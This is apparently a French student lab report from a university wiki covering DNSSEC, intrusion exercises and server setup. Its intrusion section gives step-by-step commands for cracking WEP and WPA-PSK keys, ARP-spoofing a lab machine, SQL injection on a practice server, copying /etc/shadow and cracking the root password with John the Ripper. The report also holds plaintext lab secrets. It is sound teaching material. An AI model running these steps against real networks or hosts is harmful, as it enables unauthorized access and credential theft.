  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
CEST DES IPTABLES QUI SERVENT A RIEN CAR YA PAS DINTERFACE PUBLIQUE SUR CETTE VM&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com { { ansible_distribution_release } } main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: config.json&lt;br /&gt;
     dest: /etc/consul/server.json&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 1,&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Oui, rien n'est variabilisé mais le principe est là.&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57992</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57992"/>
				<updated>2022-01-12T12:21:34Z</updated>
		
